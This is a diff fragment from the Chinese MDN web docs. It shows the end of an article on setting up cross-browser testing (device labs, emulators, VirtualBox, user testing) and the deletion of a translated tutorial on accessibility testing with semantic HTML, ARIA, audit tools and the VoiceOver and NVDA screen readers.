You may notice from the text in the example that it won't work in IE8 — this is a problem according to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course).您可能会从示例中的文本中注意到它在 IE8 中不起作用 ––根据我们的支持图表,这是一个问题,您必须处理这个问题,如果浏览器不采用其他方式,则可能使用功能检测库以不同的方式实现功能(如果浏览器不支持 CSS 转换的话)(请参阅实现功能检测,稍后将在本课程中)。

+ +

您可能还注意到,该按钮仅使用键盘无法使用, 这也需要纠正。也许我们可以使用一些JavaScript来实现一个键盘控件的切换,或者完全使用一些其他的方法?

+ +

这些测试条件很有用,因为:

+ + + +

建立一个测试实验室

+ +

执行浏览器测试的一个选项是自己进行测试。为此,您可能需要使用实际物理设备和模拟环境的组合(使用仿真器或虚拟机)。

+ +

真实设备

+ +

通常最好让一个实际的设备运行您要测试的浏览器 , 这在行为和整体用户体验方面提供了最高的准确性。对于合理的低级设备实验室,您可能需要以下内容:

+ + + +

如果可以获取这些选项,则以下是不错的选项:

+ + + +

您的主工作计算机也可以用于安装其他工具以用于特定目的,例如辅助功能审核工具、屏幕阅读器和仿真器/虚拟机。

+ +

一些大型公司拥有设备实验室,这些实验室库存了大量不同的设备,使开发人员能够在非常具体的浏览器/设备组合上查找 Bug。较小的公司和个人通常负担不起如此复杂的实验室,因此倾向于使用较小的实验室、仿真器、虚拟机和商业测试应用程序。

+ +

我们将介绍下面的其他选项。

+ +
+

注意:已做出一些努力用来创建可公开访问的设备实验室, 请参阅 Open Device Labs

+
+ +
+

注意:我们还需要考虑辅助功能 — 可以在计算机上安装许多有用的工具,以方便辅助功能测试,但我们将在本课程的后面部分介绍"处理常见辅助功能问题"一文中的工具。

+
+ +

模拟器

+ +

仿真器基本上是在计算机内运行并模拟某种设备或特定设备条件的程序,允许您比查找要测试的特定硬件/软件组合更方便地执行某些测试。

+ +

仿真器可能与测试设备条件一样简单。例如,如果要对宽度/高度媒体查询进行一些快速而粗劣的测试以进行响应式设计,则可以使用 Firefox 的Responsive Design Mode。 Safari 也有类似的模式,可以通过访问 “Safari > 首选项”和"显示开发"菜单,然后选择"开发"&gt;"输入响应式设计模式"来启用。  Chrome 也有类似的功能:设备模式(请参阅Simulate Mobile Devices with Device Mode)。

+ +

不过,您经常必须安装某种仿真器。要测试的最常见设备/浏览器如下所示:

+ + + +

您也经常可以为其他移动设备环境找到模拟器,例如:

+ + + +
+

注意:许多模拟器实际上需要使用虚拟机(见下文);在这种情况下,通常提供指令,和/或将虚拟机的使用合并到仿真器的安装程序中。

+
+ +

虚拟机

+ +

虚拟机是在台式计算机上运行的应用程序,允许您运行整个操作系统的仿真,每个操作系统都划分在自己的虚拟硬盘驱动器中(通常由主机硬盘上存在的单个大文件表示)。有许多流行的虚拟机应用程序可用,例如ParallelsVMWareVirtual Box;我们个人喜欢后者,因为它是免费的。

+ +
+

注意:您需要可用的大容量硬盘空间来运行虚拟机模拟;模拟的每个操作系统都会占用大量内存。您可能倾向于为每次安装选择所需的硬盘空间;你也可能会试图侥幸使用10GB空间,但会被建议使用50GB空间或更多,以便让操作系统运行可靠。大多数虚拟机应用程序提供的一个很好的选择是创建一个动态分配(dynamically allocated)的硬盘驱动器,它会随着需要的增长和缩小而动态改变。

+
+ +

要使用虚拟盒,您需要:

+ +
    +
  1. 获取要模拟的操作系统的安装程序磁盘或映像(例如ISO文件)。 Virtual Box无法提供这些;大多数,如Windows操作系统,是无法自由分发的商业产品。
  2. +
  3. 下载适用于您的操作系统的相应安装程序并进行安装。
  4. +
  5. 打开应用程序;您将看到如下视图:
  6. +
  7. 要创建新虚拟机,请按左上角的“新建”按钮。
  8. +
  9. 按照说明进行操作,并根据需要填写以下对话框。你会: +
      +
    1. 为新虚拟机提供名称
    2. +
    3. 选择要在其上安装的操作系统和版本
    4. +
    5. 设置应分配多少RAM(我们建议使用2048MB或2GB)
    6. +
    7. 创建虚拟硬盘(在包含立即创建虚拟硬盘,VDI(虚拟磁盘映像)和动态分配的三个对话框中选择默认选项)。
    8. +
    9. 选择虚拟硬盘的文件位置和大小(选择一个合理的名称和位置来保留它,并且大小指定大约50GB,或者您可以轻松指定)。
    10. +
    +
  10. +
+ +

现在,新的虚拟框应出现在Virtual Box UI主窗口的左侧菜单中。此时,您可以双击它以打开虚拟机––它将开始启动虚拟机,但它还没有安装操作系统。此时,您需要将对话框指向安装程序映像/磁盘,它将运行在虚拟机上安装它的步骤,就像它是真正的计算机一样。

+ +

+ +
+

重要提示:您需要确保此时要在虚拟机上安装要安装的操作系统映像,然后立即安装。如果此时取消该进程,它可能会使虚拟机无法使用,并使其成为您需要删除它并再次创建它。这不是致命的,但令人讨厌。

+
+ +

完成此过程后,您应该有一台虚拟机在主机窗口内运行操作系统。

+ +

+ +

您需要像处理任何实际安装一样处理此虚拟操作系统安装 - 例如,安装要测试的浏览器,安装防病毒程序以保护其免受病毒侵害。

+ +

拥有多个虚拟机非常有用,特别是对于Windows IE / Edge测试 - 在Windows上,您无法并排安装多个版本的默认浏览器,因此您可能需要构建一个虚拟机库来处理根据需要进行不同测试,例如:

+ + + +
+

注意:虚拟机的另一个好处是虚拟磁盘映像是相当独立的。如果您正在团队中工作,则可以创建一个虚拟磁盘映像,然后复制并传递它。如果它是许可产品,只需确保您拥有运行所有Windows副本或正在运行的任何其他副本所需的许可证。

+
+ +

自动化和商业应用

+ +

正如上一章所述,通过使用某种自动化系统,您可以从浏览器测试中减少很多痛苦。您可以设置自己的测试自动化系统(Selenium是首选的流行应用程序),它确实需要一些设置,但是当您解决问题时可能会相当受益。

+ +

还有一些商业工具,如Sauce LabsBrowser Stack,可以为您做这种事情,如果您愿意在测试中投入一些资金,则无需担心设置的问题。

+ +

我们将在后续文章中查看如何使用此类工具。

+ +

用户测试

+ +

在我们继续之前,我们将通过谈论用户测试来完成本文––如果您有一个愿意用户组来测试您的新功能,这可能是一个很好的选择。请记住,这可以像你希望的那样廉价又有效––你的用户群可以是一群朋友,一群同事,或一群无偿或有偿志愿者,这取决于你是否有钱花在测试上。

+ +

通常,您可以让用户在某种开发服务器上查看包含新功能的页面或视图,这样您就不会在完成之前放置最终站点或更改。你应该让他们按照一些步骤报告他们得到的结果。提供一组步骤(有时称为脚本)非常有用,这样您就可以获得与您尝试测试的内容相关的更可靠的结果。我们在上面的{{anch("What are you going to test")}} 部分中提到了这一点––很容易将其中详述的测试标准转换为要遵循的步骤。例如,以下内容适用于有视力的用户:

+ + + +

运行测试时,最好还是:

+ + + +

这些步骤旨在确保您正在测试的浏览器尽可能“纯粹(pure)”,即没有安装任何可能影响测试结果的内容。

+ +
+

注意:如果您有可用的硬件,另一个有用的低功耗选项是在低端手机/其他设备上测试您的网站 - 随着网站变得更大并且具有更多效果,网站放慢速度的可能性更高,因此您需要开始给予表现更多考虑。尝试在低端设备上运行您的功能将使更高端设备的体验更有可能。

+
+ +
+

注意:某些服务器端开发环境提供了有用的机制,可以将站点更改部署到仅部分用户,从而提供了一种有用的机制,可以在不需要单独的开发服务器的情况下获取由用户子集测试的功能。示例:Django Waffle Flags

+
+ +

总结

+ +

阅读本文后,您现在应该知道如何识别目标受众/目标浏览器列表,然后在该列表上有效地执行跨浏览器测试。

+ +

接下来,我们将把注意力转向测试可能发现的实际代码问题,从HTML和CSS开始。

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}

+ + + +

本章内容

+ +

+

diff --git "a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/\345\217\257\350\256\277\351\227\256\346\200\247/index.html" "b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/\345\217\257\350\256\277\351\227\256\346\200\247/index.html" deleted file mode 100644 index 704f595fb4..0000000000 --- "a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/\345\217\257\350\256\277\351\227\256\346\200\247/index.html" +++ /dev/null @@ -1,624 +0,0 @@ ---- -title: 解决常见的可访问性问题 -slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 -tags: - - CSS - - CodingScripting - - HTML - - JavaScript - - 初学者 - - 可访问性 - - 学习 - - 工具 - - 文章 - - 测试 - - 跨浏览器 - - 键盘 -translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
- -

接下来,我们将关注可访问性,提供关于一些常见问题的信息,如何进行简单测试以及如何使用审核/自动化工具来查找可访问性问题。

- - - - - - - - - - - - -
前提:熟悉HTML, CSS,和JavaScript语言; 理解跨浏览器测试原理
目标:能够诊断常见的可访问性问题,并使用适当的工具和技术解决问题。
- -

什么是可访问性?

- -

当我们在web技术的背景下说可访问性时,大多数人立即想到确保残疾人可以使用网站/应用程序,例如:

- - - -

但是,说可访问性仅与残疾人有关是错误的。实际上,可访问性的目的是使你的网站/应用程序在尽可能多的环境中被尽可能多的人使用,而不仅仅是那些使用高性能台式计算机的用户。极端的例子可能包括:

- - - -

在某种程度上,本模块都是关于可访问性的 — 跨浏览器测试可确保你的网站可以被尽可能多的人使用。这篇可访问性是什么? 更全面透彻地定义了什么是可访问性。

- -

也就是说,本文将涵盖跨浏览器和有关残疾人的测试问题以及他们如何使用Web。我们在其他地方已经讨论过其他领域,例如响应式设计问题性能

- -
-

Note: 就像Web开发中的许多事情一样,可访问性不是100%的成功或失败可以定义的;对于所有内容而言,几乎不可能实现100%的可访问性,尤其是当站点变得越来越复杂时。我们更多的是通过防御性编码并遵循最佳实践,努力使尽可能多的人可以访问尽可能多的内容。

-
- -

常见可访问性问题

- -

在本节中,我们将围绕Web可访问性,详细介绍与特定技术相关的一些主要问题、要遵循的最佳实践,以及可以进行的一些快速测试,以查看你的网站是否朝着正确的方向发展。

- -
-

Note: 可访问性在道德上是正确的事情,对企业也有好处(残疾用户,移动用户等构成了重要的细分市场), 并且在世界许多地方,提供出来的网络媒体资源无法为残疾人服务也是违法的。阅读无障碍指南和法律获取更多相关信息。

-
- -

HTML

- -

HTML语义化 (语义化正确地使用HTML标签)对于可访问性来说是开箱即用的 — 这类内容可供无视障人士阅读(前提是你不会做任何愚蠢的事情,例如使文本变小或使用CSS隐藏它),也可被屏幕阅读器(从字面上读出网页的应用)之类的辅助技术使用,并赋予其他优势。

- -

语义化结构

- -

HTML语义化最重要的捷径是为你的内容使用标题和段落的结构;这是因为屏幕阅读器用户倾向于将文档标题用作导航,以更快地找到他们需要的内容。如果你的内容没有标题,那么他们将获得的是一大坨文字,没有任何可定位的标记。坏的例子和好的例子如下:

- -
<font size="7">My heading</font>
-<br><br>
-This is the first section of my document.
-<br><br>
-I'll add another paragraph here too.
-<br><br>
-<font size="5">My subheading</font>
-<br><br>
-This is the first subsection of my document. I'd love people to be able to find this content!
-<br><br>
-<font size="5">My 2nd subheading</font>
-<br><br>
-This is the second subsection of my content. I think is more interesting than the last one.
- -
<h1>My heading</h1>
-
-<p>This is the first section of my document.</p>
-
-<p>I'll add another paragraph here too.</p>
-
-<h2>My subheading</h2>
-
-<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
-
-<h2>My 2nd subheading</h2>
-
-<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
- -

此外,你的内容应该在逻辑顺序上讲得通的 — 你总能在以后再为它们写CSS,但你应该在一开始就确定内容正确的顺序。

- -

作为测试,你可以关闭网站的CSS,然后看看没有了CSS网站是否能被理解。你可以通过从代码中删除CSS来手动完成此操作,但是最简单的方法是使用浏览器功能,例如:

- - - -

使用键盘

- -

某些HTML功能可以使用键盘来选择 — 这是默认的,从早期web开始就是这样的。具有此功能的元素是允许用户与网页交互的常见元素,比如links, {{htmlelement("button")}}s, 以及表单元素,比如{{htmlelement("input")}}.

- -

浏览native-keyboard-accessibility.html (查看源码) 尝试一下— 在新标签页中打开它,然后尝试按Tab键;按下几下后,你应该看到标签焦点开始在不同的可聚焦元素之间移动;在每个浏览器中,被聚焦的元素都被赋予突出的默认样式 (不同的浏览器表现略有不同) 以便你能分辨聚焦在哪个元素上。

- -

- -

然后,你可以按Enter / Return键来关注焦点链接,或者按一个按钮(我们已经包含一些JavaScript来使按钮提醒消息),或者在输入框开始输入文本,(其他表单元素具有不同的控件,例如{{htmlelement("select")}}元素可以使用向上和向下箭头键显示和循环显示其选项)。

- -

请注意,不同的浏览器可能具有不同的键盘控制选项。大多数现代浏览器都遵循上述的标签模式(你也可以执行Shift + Tab来向后移动可聚焦元素),但是某些浏览器具有自己的特性:

- - - -
-

重要: 你应该在所写的任何新页面上执行这种测试 — 确保可以通过键盘使用功能。

-
- -

这个例子强调了正确使用语义元素的重要性。可以用CSS将任何元素的样式设置为看起来像链接或按钮,并使用JavaScript让其表现为像链接或按钮一样,但实际上它们不是链接或按钮,你将失去很多语义化元素带给你的可访问性。因此,尽量避免这样做。

- -

另一个技巧 — 如我们的示例所示,你可以使用:focus伪类控制可聚焦元素在聚焦时的外观。最好将焦点和悬停样式加重显示,这样无论是使用鼠标还是键盘的用户,都能直观地察觉控件在被激活时将执行的操作

- -
a:hover, input:hover, button:hover, select:hover,
-a:focus, input:focus, button:focus, select:focus {
-  font-weight: bold;
-}
- -
-

Note: 如果你决定使用CSS删除默认的焦点样式,请确保将其替换为更适合你的设计的其他样式 — 这是一种非常有价值的可访问性工具,不应删除。

-
- -

模拟键盘

- -

有时可能无法使用键盘完成可访问性。你可能有一个语义不是很好的网站(也许你最终得到了一个糟糕的CMS网页,该CMS生成了由<div> 组成的按钮),或者你正在使用一个没有内置键盘可访问性的复杂控件,例如HTML5 {{htmlelement("video")}} 元素(令人惊奇的是,Opera是唯一允许你在<video>元素的默认浏览器控件之间进行制表的浏览器)。你有几种选择:

- -
    -
  1. 使用<button>元素(默认情况下都是可以在button间使用Tab键)和JavaScript创建自定义控件,以连接其功能。有关此示例,请参见Creating a cross-browser video player
  2. -
  3. 通过JavaScript创建键盘快捷键,因此当你按键盘上的某些键时,功能被激活。请参阅Desktop mouse and keyboard controls,以获取一些可用于任何目的(比如游戏)的例子。
  4. -
  5. 使用一些有趣的策略来伪造按钮行为。以我们的fake-div-buttons.html示例为例(查看源码)。这里我们通过为每个假按钮赋予属性tabindex="0"(请参阅​​WebAIM的tabindex文章以获取更多详细信息),使假的<div>按钮能够被聚焦(包括通过制表符)。这使我们可以跳到按钮上,但不能通过回车键激活它们。为此,我们必须添加以下JavaScript代码: -
    document.onkeydown = function(e) {
    -  if(e.keyCode === 13) { // The Enter/Return key
    -    document.activeElement.onclick(e);
    -  }
    -};
    - 在这里,我们向document对象添加了一个监听器,以检测何时按下了键盘上的按钮。我们通过事件对象的keyCode属性检查按下了什么按钮;如果它是与回车键匹配的键码,则使用document.activeElement.onclick()运行存储在按钮的onclick处理程序中的函数。document.activeElement为我们提供了当前页面上被聚焦的元素。
  6. -
- -
-

Note: 仅当你通过事件处理程序属性(例如onclick)设置原始事件处理程序时,此技术才有效。addEventListener将无法正常工作。重新构建功能会有很多额外的麻烦。并且肯定还有其他问题。最好能从根源解决问题,使用正确的语义化元素。

-
- -

替代文本

- -

替代文本对于可访问性非常重要 — 如果一个人有视觉或听觉障碍使他们无法看到或听到某些内容,那么这就是一个问题。可用的最简单的文本替代方法是alt属性,我们应该在所有包含相关内容的图像上包括该属性。其中应包含对图像的描述,该描述可在页面上成功传达其含义和内容,并由屏幕阅读器读取并读出给用户。

- -
-

Note: 更多信息请阅读Text alternatives

-
- -

可以通过多种方法来测试缺少的替代文本,例如,使用可访问性{{anch("审计工具")}}。

- -

对于视频和音频内容,Alt文本稍微复杂一些。有一种方法可以定义文本轨道(例如,字幕)并在播放视频时以{{htmlelement("track")}}元素和WebVTT格式的形式显示它们(请参见Adding captions and subtitles to HTML5 video以获取详细信息)。这些功能的浏览器兼容性相当好,但是如果你想提供音频的替代文本或支持较旧的浏览器,则在页面某处或单独页面上显示一个简单的文本记录可能是个好主意。

- -

元素关系和上下文

- -

HTML中有某些功能和最佳实践,旨在提供元素之间的上下文和关系。三个最常见的示例是链接,表单标签和数据表。

- -

使用屏幕阅读器的人们通常会使用一项共同的功能,即他们会拉出页面上所有链接的列表。在这种情况下,链接文本需要脱离上下文。例如,标记为“单击此处”,“单击此处”等的链接列表确实对可访问性不利。链接文本最好在上下文和上下文之外都有意义。

- -

表单{{htmlelement("label")}}元素是允许我们使表单可访问的主要功能之一。表单的麻烦在于,你需要标签来说明应在每个表单输入中输入哪些数据。每个标签都必须包含在{{htmlelement("label")}}内,以将其明确链接到其对应的表单输入框(属性值的每个<label>for属性值必须与表单元素id值匹配),即使源顺序不是完全合乎逻辑的,也能提供很好的可访问性。

- -
-

Note: 更多关于链接文本和表单标签,请阅读有意义的文字标签

-
- -

最后,简要介绍一下数据表。基本数据表可以用非常简单的标记编写(请参阅bad-table.html源码)),但这存在问题 — 屏幕阅读器用户无法将行或列作为数据分组关联在一起,但你需要知道标题行是什么,以及标题行行的标题还是列的标题等。这些只能从可视化的表格才能知道。

- -

相反,如果你看一下我们的punk-bands-complete.html示例(示例源码),则可以在此处看到一些可访问性辅助,例如表头({{htmlelement("th")}}和作用域属性),{{htmlelement("caption")}}元素等。

- -
-

Note: 更多信息,请阅读可访问的表格

-
- -

CSS

- -

CSS往往提供的基本可访问性功能要比HTML少得多,但是如果使用不当,它仍然会对可访问性造成同样的损害。下面是一些涉及CSS的可访问性的点:

- - - -

还有其他几个需要注意的地方。

- -

颜色和颜色对比度

- -

为你的网站选择配色方案时,应确保文本(前景)颜色与背景颜色形成鲜明对比。你的设计可能看起来很酷,但是如果视力障碍者(例如色盲)无法阅读你的内容,那就不好了。使用WebAIM的Color Contrast Checker之类的工具来检查你的方案是否有足够对比度。

- -

另一个提示是不要仅依靠颜色来表示界标/信息,因为这对于看不见颜色的人来说是不好的。例如,不要将所需的表单字段标记为红色,而应使用星号和红色标记它们。

- -
-

Note: 高对比度也可以让使用带有光滑屏幕的设备(例如智能手机或平板电脑)的人在明亮的环境(例如阳光)下可以更好地阅读页面。

-
- -

隐藏的内容

- -

在许多情况下,视觉设计要求并非一次显示所有内容。例如,在我们的Tabbed info box example“示例(查看源码)中,我们有三个信息面板,但是我们将它们放在彼此的顶部,用户可以通过单击以显示每个选项卡(也可以通过键盘访问 — 可以使用Tab键和回车键选择它们)。

- -

- -

屏幕阅读器用户根本不关心这些,只要源内容顺序有意义,他们就很满意,并且他们可以全部获取。绝对定位(在本示例中使用的定位)通常被视为隐藏内容以产生视觉效果的最佳机制之一,因为它不会阻止屏幕阅读器获取相关内容。

- -

另一方面,你不应该使用{{cssxref("visibility")}}:hidden或者{{cssxref("display")}}:none, 因为它们会让屏幕阅读器取不到那些内容,除非你真的想让屏幕阅读器不读取那些内容。

- -
-

Note: Invisible Content Just for Screen Reader Users有更多关于这个话题的详细信息

-
- -

JavaScript

- -

就可访问性而言,JavaScript具有与CSS相同的问题 — 如果使用不当或使用过度,可访问性可能会很糟糕。我们已经提到了与JavaScript相关的一些可访问性问题,主要是在HTML语义化那块 — 你应该始终使用适当的语义化HTML来在合适的地方实现功能,例如,适当地使用链接和按钮。尽量不要使用JavaScript代码中结合<div>元素来伪造功能 — 容易出错,并且比直接使用HTML标签还要做更多的工作。

- -

简单的功能

- -

通常,简单的功能只应使用HTML标签完成 — JavaScript仅用于增强功能,而不能用于实现简单功能。好的JavaScript用法包括:

- - - -
-

Note: WebAIM的Accessible JavaScript提供了一些关于JavaScript可访问性注意事项的信息。

-
- -

更复杂的JavaScript实现可能会带来可访问性问题 — 你需要尽力而为。例如,期望让使用WebGL编写的复杂3D游戏对盲人来说100%可访问性是不合理的,但是你可以实现键盘控件,以便非鼠标用户可以使用它,并使配色方案具有足够的对比度供有颜色分辨障碍的人使用。

- -

复杂的功能

- -

可访问性存在问题的主要领域之一是复杂的应用程序,其中涉及复杂的表单控件(例如日期选择器)和动态内容,内容会经常增量更新。

- -

非自带的复杂的表单控件可能会存在问题,因为它们往往涉及大量嵌套的<div>,浏览器默认情况下不知道如何处理它们。如果你自己开发控件,则需要确保它们可以通过键盘访问。如果你使用的是某种第三方框架,请在开始使用之前仔细检查可用的选项以了解它们是否具有完备的可访问性。例如,Bootstrap就对可访问性有相当好的支持(尽管Rhiana Heath的Making Bootstrap a Little More Accessible探讨了它的一些问题(主要与色彩对比度有关),并着眼于一些解决方案)。

- -

定期更新的动态内容可能会成为问题,因为屏幕阅读器用户可能会错过这些内容,尤其是在意外更新的情况下。如果你有一个包含主要内容面板的单页应用程序,该应用程序使用XMLHttpRequestFetch定期更新,那么屏幕阅读器用户可能会错过这些更新。

- -

WAI-ARIA

- -

你是否需要使用这种复杂的功能,或者使用普通的旧语义化HTML代替?如果确实需要复杂性,则应考虑使用WAI-ARIA(Accessible Rich Internet Applications - 可访问的互联网应用),该规范为诸如复杂的表单控件和更新面板之类的项目提供了语义(以新的HTML属性形式),这样大部分浏览器和屏幕阅读器就能理解内容。

- -

要处理复杂的表单窗口小部件,你需要使用ARIA属性(例如roles)来声明窗口小部件中不同元素的角色(例如,它们是选项卡还是选项卡面板?),用aria-disabled来表示控件是否禁用等。

- -

要处理内容定期更新的区域,可以使用aria-live属性,该属性标识更新区域。它的值指示屏幕阅读器如何处理更新内容:

- - - -

例子如下:

- -
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
- -

浏览Freedom Scientific的ARIA (Accessible Rich Internet Applications)动态更新区域示例 — 高亮显示的段落每10秒更新一次内容,屏幕阅读器应将此内容读出给用户。ARIA Live Regions - Atomic是另一个很有用的例子。

- -

我们这里没有足够的空间来详细介绍WAI-ARIA,你可以在WAI-ARIA basics了解更多。

- -

可访问性测试工具

- -

现在,我们已经介绍了不同Web技术的可访问性注意事项,包括一些测试方法(例如键盘导航和颜色对比度检查器),让我们看一下在进行可访问性测试时可以使用的其他工具。

- -

审计工具

- -

你可以使用许多审计工具检查你的网页,这些审计工具将检查它们并返回页面上存在的可访问性问题列表。一些审计工具:

- - - -

看下面的例子,我们用的是Tenon。

- -
    -
  1. 访问Tenon主页
  2. -
  3. 使用bad-semantics.html示例测试,输入链接地址并按下Analyse Your Webpage(译者注:开始分析你的网页)。
  4. -
  5. 下滑,直到你看到错误/描述部分,如下图。
  6. -
- -

- -

你还可以探索一些选项(请参阅页面顶部附近的Show Options(译者注:显示选项)链接),或者使用Tenon的API。

- -
-

Note: 这些工具不足以单独解决你的所有可访问性问题。你需要将这些,知识和经验,用户测试等结合起来才能获得完整的解决方案。

-
- -

自动化工具

- -

Deque's aXe tool比我们上面提到的审计工具更优秀。和其他工具一样,它检查页面并返回可访问性错误。它很有用,可以提供浏览器扩展程序:

- - - -

扩展程序将可访问性选项卡添加到浏览器开发人员工具。例如,我们安装了Firefox版本,然后使用它来审核bad-table.html示例。我们得到以下结果:

- -

- -

aXe也可以使用npm安装,并且可以与任务运行器(如GruntGulp),自动化框架(如SeleniumCucumber),单元测试框架(如Jasmin)集成,以及更多其他功能(详见main aXe page )。

- -

屏幕阅读器

- -

为了了解有严重视力障碍的人是如何浏览网页的,我们需要测试屏幕阅读器。有几款屏幕阅读器:

- - - -

通常,屏幕阅读器是独立运行的应用程序,并且不仅仅支持阅读网页,也支持阅读其他应用程序。也有例外(比如ChromeVox是一个浏览器扩展程序)。不同的屏幕阅读器可能在控制键和表现上稍有不同,所以你必须查阅你选择的屏幕阅读器的文档来获取相关细节。总体来说他们是大同小异的。

- -

一起看一下我们对几款不同的屏幕阅读器的测试。这将帮助你大致了解它们如何工作以及如何测试它们。

- -
-

Note: WebAIM的 Designing for Screen Reader Compatibility提供了一些关于屏幕阅读器的使用和如何开发应用以最好的适用屏幕阅读器的信息。你也可以看下Screen Reader User Survey #6 Results这篇有关屏幕阅读器一些有趣的统计信息的文章。

-
- -

VoiceOver

- -

VoiceOver (VO)是Mac/iPhone/iPad上的免费应用,所以如果你使用苹果公司的产品,可以用VO来进行测试。 我们在Mac OS X 系统上测试了它。

- -

按下Cmd + Fn + F5打开它。如果你之前没用过VO,将会出现一个可以选择是否开启VO的欢迎界面,并且还会有教程指导你如何使用。再次按下Cmd + Fn + F5可以关闭。

- -
-

Note: 你应该至少看一遍教程,它对于你了解VO是非常有用的。

-
- -

当VO开启时,你会看到一个会显示当前选中信息的黑色框在屏幕的左下角,除此之外屏幕显示大体还是相同的。当前选中的部分也会出现一个黑色的边框以进行高亮显示,这个黑色框就是VO的光标。

- -

- -

在使用中,你会用到"VO修饰键","VO修饰键"是一个单独键或组合键,当你使用VO的快捷键时,你需要额外按下这个"VO修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。VO的修饰键是CapsLock, 或Ctrl + Option。

- -

VO有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"VO"代表"VO修饰键"。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
常用的VO快捷键
快捷键描述
VO + 方向键移动VO光标
VO + 空格键选择/激活高亮的部分,包括Rotor里的内容(关于Rotor见下面)
VO + Shift + 下移动到组合项目里(比如HTML表格,或表单等)。进入组合里,你能使用下面的快捷键。
VO + Shift + 上离开组合项目
VO + C(当在表格里面时) 阅读当前列的头部
VO + R(当在表格里面时) 阅读当前行的头部
VO + C + C (当在表格里面时) 阅读当前列,包括列头
VO + R + R (当在表格里面时) 阅读当前行,包括对应于每个小行的头
VO + 左, VO + 右(当在水平的选项卡里面时,比如日期选择或时间选择) 切换选项
VO + 上, VO + 下(当在垂直的选项卡里面时,比如日期选择或时间选择) 切换选项
VO + U使用Rotor。Rotor使用列表展示标题,链接,表单选项等,以便为我们提供便利的导航。
VO + 左, VO + 右(当在Rotor里) 切换到其他列表
VO + 上, VO + 下(当在Rotor里) 在当前列表里,切换到其他项
Esc(当在Rotor里) 推出Rotor
Ctrl(当VO阅读时) 暂停/继续
VO + Z重复上一句话
VO + D进入Mac的程序坞,你能选择运行哪个应用
- -

看起来很多,但当你用起来时还好,因为VO通常会给你提醒,在哪里应该用哪个快捷键。现在试试运行VO,在{{anch("屏幕阅读器测试")}}屏幕阅读器测试章节做个测试吧。

- -

NVDA

- -

NVDA只能运行在Window系统,你需要安装它。

- -
    -
  1. nvaccess.org下载。你能选择免费下载,或赞助后再下载;你需要在下载前提供你的邮箱地址。
  2. -
  3. 下载完成后,开始安装 - 双击安装程序,接受条款,一步步按提示来。
  4. -
  5. 双击NVDA程序或快捷方式,或者按下Ctrl + Alt + N打开它。你会看见欢迎界面。你能选择一些选项,然后按下OK继续。
  6. -
- -

NVDA现在在你的电脑上开启了。

- -

在使用中,你会用到"NVDA修饰键","NVDA修饰键"是一个单独键,当你使用NVDA的快捷键时,你需要额外按下这个"NVDA修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。NVDA的修饰键是Insert键(默认), 或CapsLock键(在欢迎界面可以选择使用该键)。

- -
-

Note: 关于高亮方面,NVDA比VoiceOver做的更好。当滚动过标题、列表等元素时,你选中的项目会被一个细微的边框包住以高亮,但不是对于所有元素都是这样的。如果你感觉迷失方向了,可以按Ctrl + F5刷新页面,并从顶部重新开始。

-
- -

NVDA有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"NVDA"代表"NVDA修饰键"。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
常用的NVDA快捷键
快捷键描述
NVDA + Q关闭NVDA
NVDA + 上阅读当前行
NVDA + 下在当前位置开始阅读
上和下, 或者Shift + Tab 和Tab移动到上/下一项,开始阅读
左和右移动到当前项的上/下一个字符,开始阅读
Shift + H 和 H移动到上/下一标题,开始阅读
Shift + K 和 K移动到上/下一链接项,开始阅读
Shift + D 和 D移动到上/下一文档界标(比如<nav>),开始阅读
Shift + 1–6 和 1–6移动到上/下一标题(标题1 - 6),开始阅读
Shift + F 和 F移动到上/下一表单选项,聚焦
Shift + T 和 T移动到上/下一数据表,聚焦
Shift + B 和 B移动到上/下一按钮,阅读它的label
Shift + L 和 L移动到上/下一列表,阅读它的第一项
Shift + I 和 I移动到上/下一列表,开始阅读
Enter/Return(当链接或按钮或其他可激活的项选中时) 激活项
NVDA + 空格(当选中表单时) 进入表单,或如果已经在表单里的情况下,离开表单
Shift Tab 和 Tab(当在表单里面时) 切换到下一个input
上 和 下(当在表单里面时) 改变input的值(例如选择框).
空格(当在表单里面时) 选择已选中的值
Ctrl + Alt + 方向键(当选中表格时) 切换表格单元格
- -

屏幕阅读器测试

- -

现在你学会了如何使用屏幕阅读器,来使用它做一些可访问性测试吧。这样你才能了解屏幕阅读器在好的网页和坏的网页之间不同的表现:

- - - -

用户测试

- -

如上所述,你不能仅依靠自动化工具来确定网站上的可访问性问题。建议在制定测试计划时,包含一些用户测试可访问性的计划(有关更多内容,请参阅前面的用户测试部分)。尝试让一些屏幕阅读器用户,一些全键盘用户,一些有听觉障碍的用户或其他用户参与测试,以满足你的需求。

- -

测试可访问性检查清单

- -

以下列表提供了一个清单,供参考,以确保已对项目执行建议的可访问性测试:

- -
    -
  1. 确保HTML尽可能是语义化的。验证是一个好方法, 就像使用审计工具
  2. -
  3. 检查当关闭CSS时,你的内容能够被理解。
  4. -
  5. 确认功能是全键盘可访问的。使用Tab键、回车键等做测试。
  6. -
